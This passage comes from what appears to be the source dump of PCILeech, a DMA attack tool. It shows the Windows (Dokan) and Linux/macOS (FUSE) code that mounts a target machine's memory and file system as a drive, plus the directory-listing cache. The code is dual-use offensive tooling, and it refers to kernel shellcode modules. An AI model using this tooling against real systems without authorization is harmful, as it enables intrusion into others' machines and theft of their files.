VfsRead(uszPathFull, Buffer, BufferLength, ReadLength, Offset);\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_WriteFile(LPCWSTR wcsFileName, LPCVOID Buffer, DWORD NumberOfBytesToWrite, LPDWORD NumberOfBytesWritten, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)wcsFileName, -1, (PBYTE)pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return STATUS_FILE_INVALID; }\n    return VfsWrite(DokanFileInfo->WriteToEndOfFile, uszPathFull, (PBYTE)Buffer, NumberOfBytesToWrite, NumberOfBytesWritten, Offset);\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_DeleteFile(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)wcsFileName, -1, pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return STATUS_FILE_INVALID; }\n    VfsDelete(uszPathFull);\n    return STATUS_SUCCESS;\n}\n\nVOID DOKAN_CALLBACK\nVfsDokanCallback_Cleanup(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(DokanFileInfo->DeleteOnClose && !DokanFileInfo->IsDirectory) {\n        if(!CharUtil_WtoU((LPWSTR)wcsFileName, -1, pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return; }\n        VfsDelete(uszPathFull);\n    }\n}\n\nVOID ActionUnMount()\n{\n    if(ctxMain->vfs.fInitialized) {\n        ctxMain->vfs.fInitialized = FALSE;\n        if(ctxMain->vfs.pfnDokanUnmount) {\n            ctxMain->vfs.pfnDokanUnmount(ctxMain->vfs.wchMountPoint);\n            Sleep(50);\n        }\n    }\n}\n\nVOID ActionMount()\n{\n    int status;\n    HMODULE hModuleDokan = NULL;\n    PVFS_GLOBAL_STATE pVfsState = NULL;\n    PDOKAN_OPTIONS pDokanOptions = NULL;\n    PDOKAN_OPERATIONS pDokanOperations = NULL;\n    WCHAR wszMountPoint[] = { 'K', ':', '\\\\', 0 };\n    VOID(WINAPI *pfnDokanInit)();\n    int(WINAPI *pfnDokanMain)(PDOKAN_OPTIONS, PDOKAN_OPERATIONS);\n    VOID(WINAPI *pfnDokanShutdown)();\n    // sanity checks\n    if(!ctxMain->phKMD && (PCILEECH_DEVICE_EQUALS(\"usb3380\") || (ctxMain->cfg.paAddrMax > 0x0000040000000000) || (ctxMain->cfg.paAddrMax < 0x00400000))) {\n        printf(\n            \"MOUNT: Failed. Please see below for possible reasons:               \\n\" \\\n            \"   - Mounting file system requires an active kernel module (KMD).   \\n\" \\\n            \"   - Mounting kernel backed RAM of target system requires a KMD.    \\n\" \\\n            \"   - Mounting native RAM of target system requires FPGA hardware    \\n\" \\\n            \"     and KMD or valid -max option set.                              \\n\"\n        );\n        goto fail;\n    }\n    if(!ctxMain->phKMD) { printf(\"MOUNT: INFO: FILES folder not mounted. (No kernel module loaded).\\n\"); }\n    // allocate\n    hModuleDokan = LoadLibraryExA(\"dokan2.dll\", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);\n    pfnDokanInit = (VOID(WINAPI*)())GetProcAddress(hModuleDokan, \"DokanInit\");\n    pfnDokanMain = (int(WINAPI*)(PDOKAN_OPTIONS, PDOKAN_OPERATIONS))GetProcAddress(hModuleDokan, \"DokanMain\");\n    pfnDokanShutdown = (VOID(WINAPI*)())GetProcAddress(hModuleDokan, \"DokanShutdown\");\n    if(!hModuleDokan || !pfnDokanMain || !pfnDokanInit || !pfnDokanShutdown) {\n        printf(\"MOUNT: Failed. The required DOKANY file system library is not installed. \\n\");\n        printf(\"Please download from : https://github.com/dokan-dev/dokany/releases/latest\\n\");\n        goto fail;\n    }\n    pVfsState = (PVFS_GLOBAL_STATE)LocalAlloc(LMEM_ZEROINIT, sizeof(VFS_GLOBAL_STATE));\n    pDokanOptions = (PDOKAN_OPTIONS)LocalAlloc(LMEM_ZEROINIT, sizeof(DOKAN_OPTIONS));\n    pDokanOperations = (PDOKAN_OPERATIONS)LocalAlloc(LMEM_ZEROINIT, sizeof(DOKAN_OPERATIONS));\n    if(!pVfsState || !pDokanOptions || !pDokanOperations) {\n        printf(\"MOUNT: Failed (out of memory).\\n\");\n        goto fail;\n    }\n    // set global state\n    pVfsState->cbKmd = ctxMain->phKMD ? (ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].BaseAddress + ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].NumberOfBytes) : 0;\n    pVfsState->cbNative = PCILEECH_DEVICE_EQUALS(\"usb3380\") ? 0 : (ctxMain->phKMD ? pVfsState->cbKmd : ctxMain->cfg.paAddrMax);\n    pVfsState->DokanNtStatusFromWin32 = (NTSTATUS(*)(DWORD))GetProcAddress(hModuleDokan, \"DokanNtStatusFromWin32\");\n    pVfsState->PCILeechOperatingSystem = ctxMain->phKMD ? ctxMain->pk->OperatingSystem : 0;\n    if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_WINX64_VFS_KSH\");\n    } else if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_LINUX_X64_VFS_KSH\");\n    } else if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_MACOS) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_MACOS_VFS_KSH\");\n    } else if(ctxMain->phKMD) {\n        printf(\"MOUNT: Operating system not supported.\\n\");\n        goto fail;\n    }\n    InitializeCriticalSection(&pVfsState->Lock);\n    SYSTEMTIME SystemTimeNow;\n    GetSystemTime(&SystemTimeNow);\n    SystemTimeToFileTime(&SystemTimeNow, &pVfsState->ftDefaultTime);\n    g_vfs = pVfsState;\n    // set options\n    pDokanOptions->Version = DOKAN_VERSION;\n    pDokanOptions->Options |= DOKAN_OPTION_NETWORK;\n    pDokanOptions->UNCName = L\"PCILeechFileSystem\";\n    if((ctxMain->cfg.szMount[0] >= 'a' && ctxMain->cfg.szMount[0] <= 'z') || (ctxMain->cfg.szMount[0] >= 'A' && ctxMain->cfg.szMount[0] <= 'Z')) {\n        wszMountPoint[0] = ctxMain->cfg.szMount[0];\n    }\n    pDokanOptions->MountPoint = wszMountPoint;\n    pDokanOptions->Timeout = 60000;\n    // set callbacks\n    pDokanOperations->ZwCreateFile = VfsDokanCallback_CreateFile;\n    pDokanOperations->Cleanup = VfsDokanCallback_Cleanup;\n    pDokanOperations->DeleteFileW = VfsDokanCallback_DeleteFile;\n    pDokanOperations->GetFileInformation = VfsDokanCallback_GetFileInformation;\n    pDokanOperations->FindFiles = VfsDokanCallback_FindFiles;\n    pDokanOperations->ReadFile = VfsDokanCallback_ReadFile;\n    pDokanOperations->WriteFile = VfsDokanCallback_WriteFile;\n    // enable directory caching sub-system\n    if(!VfsList_Initialize(VfsListU, 500, 0x1000, TRUE)) {\n        printf(\"MOUNT: Unable to initialize directory cache.\\n\");\n        goto fail;\n    }\n    // enable\n    printf(\n        \"MOUNTING PCILEECH FILE SYSTEM:                                                 \\n\" \\\n        \"===============================================================================\\n\");\n    if(ctxMain->phKMD) {\n        printf(\n            \"PCILeech DMA attack target file system is mounted in the /files/ folder.       \\n\" \\\n            \"Please see limitations below:                                                  \\n\" \\\n            \" - Kernel module is required and is supported on: Windows, Linux and macOS.    \\n\" \\\n            \" - Create file: not implemented.                                               \\n\" \\\n            \" - Write to files may be buggy and may in rare cases corrupt the target file.  \\n\" \\\n            \" - Delete file will most often work, but with errors.                          \\n\" \\\n            \" - Delete directory, rename/move file and other features may not be supported. \\n\" \\\n            \"===============================================================================\\n\");\n    }\n    printf(\"MOUNT: Mounting as drive %S\\n\", pDokanOptions->MountPoint);\n    ctxMain->vfs.pfnDokanUnmount = (BOOL(WINAPI*)(WCHAR))GetProcAddress(hModuleDokan, \"DokanUnmount\");\n    ctxMain->vfs.wchMountPoint = wszMountPoint[0];\n    ctxMain->vfs.fInitialized = TRUE;\n    pfnDokanInit();\n    status = pfnDokanMain(pDokanOptions, pDokanOperations);\n    while(ctxMain && ctxMain->vfs.fInitialized && (status == DOKAN_SUCCESS)) {\n        printf(\"MOUNT: ReMounting as drive %S\\n\", pDokanOptions->MountPoint);\n        status = pfnDokanMain(pDokanOptions, pDokanOperations);\n    }\n    pfnDokanShutdown();\n    printf(\"MOUNT: Failed. Status Code: %i\\n\", status);\n    DeleteCriticalSection(&pVfsState->Lock);\nfail:\n    if(hModuleDokan) { FreeLibrary(hModuleDokan); }\n    g_vfs = NULL;\n    if(pVfsState) {\n        DeleteCriticalSection(&pVfsState->Lock);\n        LocalFree(pVfsState);\n    }\n    LocalFree(pDokanOptions);\n    LocalFree(pDokanOperations);\n}\n\n#endif /* _WIN32 */\n\n\n\n#if defined(LINUX) || defined(MACOS)\n\n//-------------------------------------------------------------------------------\n// LINUX-ONLY functions including FUSE CALLBACK functions.\n//-------------------------------------------------------------------------------\n\n#define FILETIME_TO_UNIX(ft)        (time_t)((ft) / 10000000ULL - 11644473600ULL)\n#define VER_OSARCH                  \"Linux\"\n\nstatic int vfs_getattr(const char* uszPathFull, struct stat *st)\n{\n    DWORD i = 0;\n    CHAR c = 0, uszPathCopy[3 * MAX_PATH] = { 0 };\n    CHAR uszPath[3 * MAX_PATH];\n    LPSTR uszFile;\n    BOOL result, fIsDirectoryExisting;\n    VFS_ENTRY e;\n    // 1: replace forward slash with backward slash\n    strncpy_s(uszPathCopy, sizeof(uszPathCopy), uszPathFull, _TRUNCATE);\n    while((c = uszPathCopy[i++])) {\n        if(c == '/') { uszPathCopy[i - 1] = '\\\\'; }\n    }\n    // 2: set common values:\n    st->st_uid = getuid();\n    st->st_gid = getgid();\n    // 3: matches: root directory\n    if(!strcmp(uszPathCopy, \"\\\\\")) {\n        st->st_ctime = time(NULL);\n        st->st_mtime = time(NULL);\n        st->st_atime = time(NULL);\n        st->st_mode = S_IFDIR | 0755;\n        st->st_nlink = 2;\n        return 0;\n    }\n    // 4: matches vfs file/directory:\n    uszFile = CharUtil_PathSplitLastEx(uszPathCopy, uszPath, sizeof(uszPath));\n    result = VfsList_GetSingle((uszPath[0] ? uszPath : \"\\\\\"), uszFile, &e, &fIsDirectoryExisting);\n    if(result) {\n        st->st_ctime = FILETIME_TO_UNIX(e.ftCreationTime);\n        st->st_mtime = FILETIME_TO_UNIX(e.ftLastWriteTime);\n        st->st_atime = FILETIME_TO_UNIX(e.ftLastAccessTime);\n        if(e.fDirectory) {\n            st->st_mode = S_IFDIR | 0755;\n            st->st_nlink = 2;\n        } else {\n            st->st_mode = S_IFREG | 0644;\n            st->st_nlink = 1;\n            st->st_size = e.cbFileSize;\n        }\n    }\n    return 0;\n}\n\ntypedef struct td_readdir_cb_ctx {\n    void* buffer;\n    fuse_fill_dir_t filler;\n} readdir_cb_ctx, * preaddir_cb_ctx;\n\nstatic void vfs_readdir_cb(_In_ PVFS_ENTRY pVfsEntry, _In_opt_ preaddir_cb_ctx ctx)\n{\n    ctx->filler(ctx->buffer, pVfsEntry->uszName, NULL, 0);\n}\n\nstatic int vfs_readdir(const char* uszPath, void* buffer, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)\n{\n    DWORD i = 0;\n    CHAR c = 0, uszPathCopy[3 * MAX_PATH] = { 0 };\n    UNREFERENCED_PARAMETER(offset);\n    UNREFERENCED_PARAMETER(fi);\n    // 1: replace forward slash with backward slash\n    strncpy_s(uszPathCopy, sizeof(uszPathCopy), uszPath, _TRUNCATE);\n    while((c = uszPathCopy[i++])) {\n        if(c == '/') { uszPathCopy[i - 1] = '\\\\'; }\n    }\n    // 2: do work\n    readdir_cb_ctx ctx;\n    ctx.buffer = buffer;\n    ctx.filler = filler;\n    filler(buffer, \".\", NULL, 0);\n    filler(buffer, \"..\", NULL, 0);\n    VfsList_ListDirectory(uszPathCopy, &ctx, (void(*)(PVFS_ENTRY, PVOID))vfs_readdir_cb);\n    return 0;\n}\n\nstatic int vfs_read(const char* uszPath, char* buffer, size_t size, off_t offset, struct fuse_file_info *fi)\n{\n    NTSTATUS nt;\n    DWORD i = 0, readlength = 0;\n    CHAR c = 0, uszPathCopy[3 * MAX_PATH] = { 0 };\n    UNREFERENCED_PARAMETER(fi);\n    // 1: replace forward slash with backward slash\n    strncpy_s(uszPathCopy, sizeof(uszPathCopy), uszPath, _TRUNCATE);\n    while((c = uszPathCopy[i++])) {\n        if(c == '/') { uszPathCopy[i - 1] = '\\\\'; }\n    }\n    // 2: read\n    nt = VfsRead(uszPathCopy, (PBYTE)buffer, size, &readlength, offset);\n    return ((nt == STATUS_SUCCESS) || (nt == STATUS_END_OF_FILE)) ? (int)readlength : 0;\n}\n\nstatic int vfs_truncate(const char* path, off_t size)\n{\n    // dummy function - required and called before vfs_write().\n    UNREFERENCED_PARAMETER(path);\n    UNREFERENCED_PARAMETER(size);\n    return 0;\n}\n\nstatic int vfs_write(const char* uszPath, const char* buffer, size_t size, off_t offset, struct fuse_file_info *fi)\n{\n    NTSTATUS nt;\n    DWORD i = 0, writelength = 0;\n    CHAR c = 0, uszPathCopy[3 * MAX_PATH] = { 0 };\n    UNREFERENCED_PARAMETER(fi);\n    // 1: replace forward slash with backward slash\n    strncpy_s(uszPathCopy, sizeof(uszPathCopy), uszPath, _TRUNCATE);\n    while((c = uszPathCopy[i++])) {\n        if(c == '/') { uszPathCopy[i - 1] = '\\\\'; }\n    }\n    // 2: write\n    nt = VfsWrite(FALSE, uszPathCopy, (PBYTE)buffer, size, &writelength, offset);\n    return ((nt == STATUS_SUCCESS) || (nt == STATUS_END_OF_FILE)) ? (int)size : 0;\n}\n\nstatic struct fuse_operations vfs_operations = {\n    .readdir = vfs_readdir,\n    .getattr = vfs_getattr,\n    .read = vfs_read,\n    .write = vfs_write,\n    .truncate = vfs_truncate,\n};\n\nvoid vfs_initialize_and_mount_displayinfo()\n{\n    PVFS_GLOBAL_STATE pVfsState = NULL;\n    void* hlibfuse2 = NULL;\n    int(*pfn_fuse_main_real)(int argc, char** argv, const struct fuse_operations* op, size_t op_size, void* private_data);\n    // sanity check\n    if(ctxMain->cfg.szMount[0] != '/') {\n        printf(\"MOUNT: Failed - missing required option '-mount <fullpath>' or not full mount path given.\\n\");\n        goto fail;\n    }\n    // set global state\n    pVfsState = (PVFS_GLOBAL_STATE)LocalAlloc(LMEM_ZEROINIT, sizeof(VFS_GLOBAL_STATE));\n    if(!pVfsState) {\n        printf(\"MOUNT: Failed (out of memory).\\n\");\n        goto fail;\n    }\n    pVfsState->cbKmd = ctxMain->phKMD ? (ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].BaseAddress + ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].NumberOfBytes) : 0;\n    pVfsState->cbNative = PCILEECH_DEVICE_EQUALS(\"usb3380\") ? 0 : (ctxMain->phKMD ? pVfsState->cbKmd : ctxMain->cfg.paAddrMax);\n    pVfsState->PCILeechOperatingSystem = ctxMain->phKMD ? ctxMain->pk->OperatingSystem : 0;\n    if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_WINX64_VFS_KSH\");\n    } else if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_LINUX_X64_VFS_KSH\");\n    } else if(pVfsState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_MACOS) {\n        strcpy_s(pVfsState->szNameVfsShellcode, 32, \"DEFAULT_MACOS_VFS_KSH\");\n    } else if(ctxMain->phKMD) {\n        printf(\"MOUNT: Operating system not supported.\\n\");\n        goto fail;\n    }\n    InitializeCriticalSection(&pVfsState->Lock);\n    pVfsState->ftDefaultTime = (time(NULL) * 10000000) + 116444736000000000;\n    g_vfs = pVfsState;\n    // enable directory caching sub-system\n    if(!VfsList_Initialize(VfsListU, 500, 0x1000, TRUE)) {\n        printf(\"MOUNT: Unable to initialize directory cache.\\n\");\n        goto fail;\n    }\n    // dynamically load fuse (to avoid runtime dependency)\n#ifdef LINUX\n    hlibfuse2 = dlopen(\"libfuse.so.2\", RTLD_NOW);\n    if(!hlibfuse2) {\n        printf(\"MOUNT: Unable to load required FUSE file system library libfuse.so.2\\n\");\n        goto fail;\n    }\n#endif /* LINUX */\n#ifdef MACOS\n    hlibfuse2 = dlopen(\"libfuse.2.dylib\", RTLD_NOW);\n    if(!hlibfuse2) {\n        hlibfuse2 = dlopen(\"/usr/local/lib/libfuse.2.dylib\", RTLD_NOW);\n    }\n    if(!hlibfuse2) {\n        printf(\"MOUNT: Unable to load required FUSE file system library libfuse.2.dylib\\n\");\n        goto fail;\n    }\n#endif /* MACOS */\n    pfn_fuse_main_real = dlsym(hlibfuse2, \"fuse_main_real\");\n    if(!pfn_fuse_main_real) {\n        printf(\"MOUNT: Unable to load fetch required function pfn_fuse_main_real from FUSE file system library\\n\");\n        goto fail;\n    }\n    // enable\n    printf(\n        \"MOUNTING PCILEECH FILE SYSTEM:                                                 \\n\" \\\n        \"===============================================================================\\n\");\n    if(ctxMain->phKMD) {\n        printf(\n            \"PCILeech DMA attack target file system is mounted in the <mnt>/files/ folder.  \\n\" \\\n            \"Please see limitations below:                                                  \\n\" \\\n            \" - Kernel module is required and is supported on: Windows, Linux and macOS.    \\n\" \\\n            \" - Create file: not implemented.                                               \\n\" \\\n            \" - Write to files may be buggy and may in rare cases corrupt the target file.  \\n\" \\\n            \" - Delete file will most often work, but with errors.                          \\n\" \\\n            \" - Delete directory, rename/move file and other features may not be supported. \\n\" \\\n            \"===============================================================================\\n\");\n    }\n    printf(\"MOUNT: Mounting at path '%s'\\n\", ctxMain->cfg.szMount);\n    // hand over control to FUSE.\n#ifdef LINUX\n    LPSTR szArgListFuse[] = { ctxMain->argv[0], ctxMain->cfg.szMount, \"-f\" };\n#endif /* LINUX */\n#ifdef MACOS\n    LPSTR szArgListFuse[] = { ctxMain->argv[0], ctxMain->cfg.szMount, \"-f\", \"-o\", \"local,volname=PCILeech\", \"-o\", \"volicon=pcileech.icns\" };\n#endif /* MACOS */\n    int cArgListFuse = sizeof(szArgListFuse) / sizeof(LPSTR);\n    pfn_fuse_main_real(cArgListFuse, szArgListFuse, &vfs_operations, sizeof(vfs_operations), NULL);\nfail:\n    g_vfs = NULL;\n    if(pVfsState) {\n        DeleteCriticalSection(&pVfsState->Lock);\n        LocalFree(pVfsState);\n    }\n    if(hlibfuse2) {\n        dlclose(hlibfuse2);\n    }\n}\n\nVOID ActionUnMount()\n{\n    return;\n}\n\nVOID ActionMount()\n{\n    vfs_initialize_and_mount_displayinfo();\n}\n\n#endif /* LINUX || MACOS */\n"
  },
  {
    "path": "pcileech/vfs.h",
    "content": "// vfs.h : definitions related to virtual file system support.\n//\n// (c) Ulf Frisk, 2017-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __VFS_H__\n#define __VFS_H__\n#include \"pcileech.h\"\n#include \"oscompatibility.h\"\n\n#define VFS_FLAGS_FILE_NORMAL           0x01\n#define VFS_FLAGS_FILE_DIRECTORY        0x02\n#define VFS_FLAGS_FILE_SYMLINK          0x04\n#define VFS_FLAGS_FILE_OTHER            0x08\n#define VFS_FLAGS_UNICODE               0x10\n#define VFS_FLAGS_EXIST_FILE            0x20\n#define VFS_FLAGS_TRUNCATE_ON_WRITE     0x40\n#define VFS_FLAGS_APPEND_ON_WRITE       0x80\n\ntypedef struct tdVFS_RESULT_FILEINFO {\n    QWORD flags;\n    QWORD tAccessOpt;\n    QWORD tModifyOpt;\n    QWORD tCreateOpt;\n    QWORD dbg1;\n    QWORD dbg2;\n    QWORD cb;\n    WCHAR wszFileName[MAX_PATH];\n} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;\n\n/*\n* Unmount a mounted virtual file system.\n*/\nVOID ActionUnMount();\n\n/*\n* Mount a drive backed by PCILeech virtual file system. The mounted file system\n* will contain both a memory mapped ram files and the file system as seen from\n* the target system kernel. NB! This action requires a loaded kernel module and\n* that the Dokany file system library and driver have been installed. Please\n* see: https://github.com/dokan-dev/dokany/releases\n* -- pDeviceData\n*/\nVOID ActionMount();\n\n#endif /* __VFS_H__ */\n"
  },
  {
    "path": "pcileech/vfslist.c",
    "content": "// vfslist.h : definitions related to vfs directory listings.\n//\n// (c) Ulf Frisk, 2021-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"vfslist.h\"\n#include \"ob/ob.h\"\n#include \"charutil.h\"\n\ntypedef struct tdVFSLIST_CONTEXT {\n    QWORD qwCacheValidMs;\n    FILETIME ftDefaultTime;\n    time_t time_default;\n    POB_CACHEMAP pcm;\n    VFS_LIST_U_PFN pfnVfsListU;\n    BOOL fSingleThread;\n    CRITICAL_SECTION Lock;\n} VFSLIST_CONTEXT, *PVFSLIST_CONTEXT;\n\nVFSLIST_CONTEXT g_ctxVfsList = { 0 };\n\n#define VFSLIST_CONFIG_FILELIST_ITEMS   12\n#define VFSLIST_CONFIG_FILELIST_MAGIC   0x7f646555caffee66\n\ntypedef struct tdVFSLIST_DIRECTORY {\n    QWORD magic;\n    struct tdVFSLIST_DIRECTORY *FLink;\n    DWORD cFiles;\n    VFS_ENTRY pFilesU[VFSLIST_CONFIG_FILELIST_ITEMS];\n} VFSLIST_DIRECTORY, *PVFSLIST_DIRECTORY;\n\ntypedef struct tdVFSLISTOB_DIRECTORY {\n    OB ObHdr;\n    QWORD tc64;\n    QWORD qwHash;\n    VFSLIST_DIRECTORY Dir;\n} VFSLISTOB_DIRECTORY, *PVFSLISTOB_DIRECTORY;\n\n/*\n* Object Manager cleanup callback function.\n*/\nVOID VfsList_CallbackCleanup_ObDirectory(PVFSLISTOB_DIRECTORY pObDir)\n{\n    PVFSLIST_DIRECTORY pDirNext, pDir = pObDir->Dir.FLink;\n    while(pDir) {\n        pDirNext = pDir->FLink;\n        LocalFree(pDir);\n        pDir = pDirNext;\n    }\n}\n\n#define VFSLIST_ASCII      \"________________________________ !_#$%&'()_+,-._0123456789_;_=__@ABCDEFGHIJKLMNOPQRSTUVWXYZ[_]^_`abcdefghijklmnopqrstuvwxyz{_}~ \"\n\nVOID VfsList_AddDirectoryFileInternal(_Inout_ PVFSLIST_DIRECTORY pFileList, _In_ DWORD dwFileAttributes, _In_ FILETIME ftCreationTime, _In_ FILETIME ftLastAccessTime, _In_ FILETIME ftLastWriteTime, _In_ QWORD cbFileSize, _In_ LPCSTR uszName)\n{\n    WCHAR c;\n    DWORD i = 0;\n    PVFS_ENTRY pe;\n    // 1: check if required to allocate more FileList items\n    while(pFileList->cFiles == VFSLIST_CONFIG_FILELIST_ITEMS) {\n        if(pFileList->FLink) {\n            pFileList = pFileList->FLink;\n            continue;\n        }\n        pFileList->FLink = LocalAlloc(LMEM_ZEROINIT, sizeof(VFSLIST_DIRECTORY));\n        if(!pFileList->FLink) { return; }\n        pFileList = pFileList->FLink;\n    }\n    // 2: locate item to fill into\n    pe = pFileList->pFilesU + pFileList->cFiles;\n    pFileList->cFiles++;\n    // 3: fill entry\n    pe->fDirectory = (dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? TRUE : FALSE;\n    pe->dwFileAttributes = dwFileAttributes;\n    pe->ftCreationTime = ftCreationTime;\n    pe->ftLastAccessTime = ftLastAccessTime;\n    pe->ftLastWriteTime = ftLastWriteTime;\n    pe->cbFileSize = cbFileSize;\n    CharUtil_UtoU(uszName, -1, (PBYTE)pe->uszName, sizeof(pe->uszName), NULL, NULL, CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR | CHARUTIL_FLAG_STR_BUFONLY);\n    while((i < sizeof(pe->uszName)) && (c = pe->uszName[i])) {\n        pe->uszName[i++] = (c < 128) ? VFSLIST_ASCII[c] : c;\n    }\n}\n\nVOID VfsList_AddFile(_Inout_ HANDLE hFileList, _In_ LPCSTR uszName, _In_ QWORD cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo)\n{\n    PVFSLIST_DIRECTORY pFileList2 = (PVFSLIST_DIRECTORY)hFileList;\n    BOOL fExInfo = pExInfo && (pExInfo->dwVersion == VMMDLL_VFS_FILELIST_EXINFO_VERSION);\n    if(pFileList2 && (pFileList2->magic == VFSLIST_CONFIG_FILELIST_MAGIC)) {\n        VfsList_AddDirectoryFileInternal(\n            pFileList2,\n            FILE_ATTRIBUTE_NOT_CONTENT_INDEXED | ((fExInfo && pExInfo->fCompressed) ? FILE_ATTRIBUTE_COMPRESSED : 0),\n            (fExInfo && pExInfo->qwCreationTime) ? pExInfo->ftCreationTime : g_ctxVfsList.ftDefaultTime,\n            (fExInfo && pExInfo->qwLastAccessTime) ? pExInfo->ftLastAccessTime : g_ctxVfsList.ftDefaultTime,\n            (fExInfo && pExInfo->qwLastWriteTime) ? pExInfo->ftLastWriteTime : g_ctxVfsList.ftDefaultTime,\n            cb,\n            uszName\n        );\n    }\n}\n\nVOID VfsList_AddDirectory(_Inout_ HANDLE hFileList, _In_ LPCSTR uszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo)\n{\n    PVFSLIST_DIRECTORY pFileList2 = (PVFSLIST_DIRECTORY)hFileList;\n    BOOL fExInfo = pExInfo && (pExInfo->dwVersion == VMMDLL_VFS_FILELIST_EXINFO_VERSION);\n    if(pFileList2 && (pFileList2->magic == VFSLIST_CONFIG_FILELIST_MAGIC)) {\n        VfsList_AddDirectoryFileInternal(\n            pFileList2,\n            FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED | ((fExInfo && pExInfo->fCompressed) ? FILE_ATTRIBUTE_COMPRESSED : 0),\n            (fExInfo && pExInfo->qwCreationTime) ? pExInfo->ftCreationTime : g_ctxVfsList.ftDefaultTime,\n            (fExInfo && pExInfo->qwLastAccessTime) ? pExInfo->ftLastAccessTime : g_ctxVfsList.ftDefaultTime,\n            (fExInfo && pExInfo->qwLastWriteTime) ? pExInfo->ftLastWriteTime : g_ctxVfsList.ftDefaultTime,\n            0,\n            uszName\n        );\n    }\n}\n\n/*\n* Retrieve a directory object given a path name.\n* CALLER DECREF: return\n* -- uszPath\n* -- return\n*/\nPVFSLISTOB_DIRECTORY VfsList_GetDirectory(_In_ LPSTR uszPath)\n{\n    QWORD i = 0, qwHash;\n    PVFSLISTOB_DIRECTORY pObDir = NULL;\n    VMMDLL_VFS_FILELIST2 VfsFileList;\n    CHAR c, uszPathCopy[3 * MAX_PATH];\n    // 1: try fetch from cache:\n    qwHash = CharUtil_HashPathFsU(uszPath);\n    if((pObDir = ObCacheMap_GetByKey(g_ctxVfsList.pcm, qwHash))) {\n        return pObDir;\n    }\n    if(g_ctxVfsList.fSingleThread) {\n        EnterCriticalSection(&g_ctxVfsList.Lock);\n        if((pObDir = ObCacheMap_GetByKey(g_ctxVfsList.pcm, qwHash))) {\n            LeaveCriticalSection(&g_ctxVfsList.Lock);\n            return pObDir;\n        }\n    }\n    // 2: replace forward-slash with backward slash for MemProcFS compatibility\n    strncpy_s(uszPathCopy, sizeof(uszPathCopy), uszPath, _TRUNCATE);\n    while((c = uszPathCopy[i++])) {\n        if(c == '/') { uszPathCopy[i - 1] = '\\\\'; }\n    }\n    // 3: create new:\n    pObDir = Ob_Alloc('VFSD', LMEM_ZEROINIT, sizeof(VFSLISTOB_DIRECTORY), (VOID(*)(PVOID))VfsList_CallbackCleanup_ObDirectory, NULL);\n    if(!pObDir) { goto fail; }\n    pObDir->Dir.magic = VFSLIST_CONFIG_FILELIST_MAGIC;\n    VfsFileList.dwVersion = VMMDLL_VFS_FILELIST_VERSION;\n    VfsFileList.h = (HANDLE)&pObDir->Dir;\n    VfsFileList.pfnAddFile = VfsList_AddFile;\n    VfsFileList.pfnAddDirectory = VfsList_AddDirectory;\n    if(g_ctxVfsList.pfnVfsListU(uszPathCopy, &VfsFileList)) {\n        pObDir->tc64 = GetTickCount64();\n        pObDir->qwHash = qwHash;\n        ObCacheMap_Push(g_ctxVfsList.pcm, qwHash, pObDir, 0);\n        if(g_ctxVfsList.fSingleThread) { LeaveCriticalSection(&g_ctxVfsList.Lock); }\n        return pObDir;\n    }\nfail:\n    if(g_ctxVfsList.fSingleThread) { LeaveCriticalSection(&g_ctxVfsList.Lock); }\n    Ob_DECREF(pObDir);\n    return NULL;\n}\n\n/*\n* List a directory using a callback function\n* -- uszPath\n* -- ctx = optional context to pass along to callback function.\n* -- pfnListCallback = callback function called one time per directory entry.\n* -- return = TRUE if directory exists, otherwise FALSE.\n*/\nBOOL VfsList_ListDirectory(_In_ LPSTR uszPath, _In_opt_ PVOID ctx, _In_opt_ PFN_VFSLIST_CALLBACK pfnListCallback)\n{\n    DWORD i;\n    PVFSLIST_DIRECTORY pDir;\n    PVFSLISTOB_DIRECTORY pObDir;\n    if(!(pObDir = VfsList_GetDirectory(uszPath))) { return FALSE; }\n    if(pfnListCallback) {\n        pDir = &pObDir->Dir;\n        while(pDir) {\n            for(i = 0; i < pDir->cFiles; i++) {\n                